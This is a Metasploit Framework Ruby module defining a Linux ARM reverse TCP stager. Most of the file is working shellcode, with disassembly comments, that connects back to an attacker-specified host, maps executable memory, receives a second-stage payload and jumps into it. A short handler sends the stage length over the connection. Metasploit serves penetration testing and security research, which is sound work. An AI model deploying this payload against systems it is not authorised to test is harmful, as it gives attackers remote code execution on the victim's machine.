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Added reverse stager.
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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###
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#
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# ReverseTcp
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# ----------
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#
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# Linux reverse TCP stager.
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#
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###
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module Metasploit3
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include Msf::Payload::Stager
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse TCP Stager',
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'Description' => 'Connect back to the attacker',
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'Author' => 'nemo',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_ARMLE,
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'Handler' => Msf::Handler::ReverseTcp,
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'Stager' =>
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{
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'Offsets' =>
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{
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'LPORT' => [ 194, 'n' ],
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'LHOST' => [ 196, 'ADDR' ],
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},
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'Payload' =>
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[
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0xe59f70c0, # ldr r7, [pc, #192] ; 811c <last+0x20>
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0xe3a00002, # mov r0, #2
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0xe3a01001, # mov r1, #1
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0xe3a02006, # mov r2, #6
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0xef000000, # svc 0x00000000
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0xe1a0c000, # mov ip, r0
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0xe2877002, # add r7, r7, #2
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0xe28f109c, # add r1, pc, #156 ; 0x9c
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0xe3a02010, # mov r2, #16
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0xef000000, # svc 0x00000000
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0xe1a0000c, # mov r0, ip
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0xe24dd004, # sub sp, sp, #4
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0xe2877008, # add r7, r7, #8
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0xe1a0100d, # mov r1, sp
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0xe3a02004, # mov r2, #4
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0xe3a03000, # mov r3, #0
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0xef000000, # svc 0x00000000
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0xe59d1000, # ldr r1, [sp]
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0xe59f307c, # ldr r3, [pc, #124] ; 8120 <last+0x24>
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0xe0011003, # and r1, r1, r3
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0xe3a02001, # mov r2, #1
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0xe1a02602, # lsl r2, r2, #12
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0xe0811002, # add r1, r1, r2
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0xe3a070c0, # mov r7, #192 ; 0xc0
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0xe3e00000, # mvn r0, #0
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0xe3a02007, # mov r2, #7
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0xe59f3060, # ldr r3, [pc, #96] ; 8124 <last+0x28>
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0xe1a04000, # mov r4, r0
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0xe3a05000, # mov r5, #0
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0xef000000, # svc 0x00000000
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0xe59f7054, # ldr r7, [pc, #84] ; 8128 <last+0x2c>
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0xe1a01000, # mov r1, r0
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0xe1a0000c, # mov r0, ip
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0xe3a03000, # mov r3, #0
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0xe59d2000, # ldr r2, [sp]
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0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
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0xe58d2000, # str r2, [sp]
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0xe3520000, # cmp r2, #0
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0xda000002, # ble 80fc <last>
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0xe3a02ffa, # mov r2, #1000 ; 0x3e8
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0xef000000, # svc 0x00000000
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0xeafffff7, # b 80dc <loop>
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0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
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0xef000000, # svc 0x00000000
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0xe1a0f001, # mov pc, r1
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0xe3a07001, # mov r7, #1
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0xe3a00001, # mov r0, #1
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0xef000000, # svc 0x00000000
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0x5c110002, # .word 0x5c110002
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0x0100007f, # .word 0x0100007f
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0x00000119, # .word 0x00000119
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0xfffff000, # .word 0xfffff000
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0x00001022, # .word 0x00001022
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0x00000123 # .word 0x00000123
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].pack("V*")
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}
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))
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end
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def handle_intermediate_stage(conn, payload)
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print_status("Transmitting stage length value...(#{payload.length} bytes)")
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address_format = 'V'
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# Transmit our intermediate stager
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conn.put( [ payload.length ].pack(address_format) )
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Rex::ThreadSafe.sleep(0.5)
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return true
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end
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end

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